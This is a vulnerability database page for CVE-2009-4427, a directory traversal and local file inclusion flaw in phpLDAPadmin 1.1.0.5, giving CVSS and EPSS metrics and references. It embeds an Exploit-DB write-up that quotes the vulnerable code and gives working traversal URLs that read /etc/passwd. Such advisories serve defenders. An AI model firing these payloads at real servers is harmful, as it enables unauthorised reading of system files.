CVE-2009-4427 : Detail

CVE-2009-4427

Directory Traversal
A01-Broken Access Control
1.15%V3
Network
2009-12-28
17h27 +00:00
2010-03-26
08h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Directory traversal vulnerability in cmd.php in phpLDAPadmin 1.1.0.5 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the cmd parameter.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 10410

Publication date : 2009-12-09 23h00 +00:00
Author : ipsecs
EDB Verified : Yes

######################################################################## # PHPLDAPADMIN LOCAL FILE INCLUSION ######################################################################## author : ipsecs website : http://ipsecs.com Date : December, 10th, 2009 -[i]- Description "Phpldapadmin is web based LDAP client which provides easy, anywhere-accessible, multi-language administration for LDAP server." http://phpldapadmin.sourceforge.net vulnerable version: phpldapadmin 1.1.0.5 Ubuntu 8.10 Debian 5.0 Other version may be affected -[ii]- Vulnerable Code Vulnerable code is found in cmd.php which doesn't sanitize URI parameter provided by user input. line 10 $www['cmd'] = get_request('cmd','REQUEST'); line 22-27 if (defined('HOOKSDIR') && file_exists(HOOKSDIR.$www['cmd'].'.php')) $file = HOOKSDIR.$www['cmd'].'.php'; elseif (defined('HTDOCDIR') && file_exists(HTDOCDIR.$www['cmd'].'.php')) $file = HTDOCDIR.$www['cmd'].'.php'; line 38-39 if ($file) include $file; Attacker may view any arbitrary files trough 'cmd' parameter in URI request. -[iii]- Exploit http://server/phpldapadmin/cmd.php?cmd=../../../../etc/passwd%00 http://server/phpldapadmin/cmd.php?cmd=../../../../issue%00 -[iv]- Fix Sanitize $file before being included. Unfortunaltely there is no working patch at this time.

Products Mentioned

Configuraton 0

Phpldapadmin_project>>Phpldapadmin >> Version 1.1.0.5

References

http://www.mandriva.com/security/advisories?name=MDVSA-2010:023
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.osvdb.org/61139
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/37848
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.exploit-db.com/exploits/10410
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/37327
Tags : vdb-entry, x_refsource_BID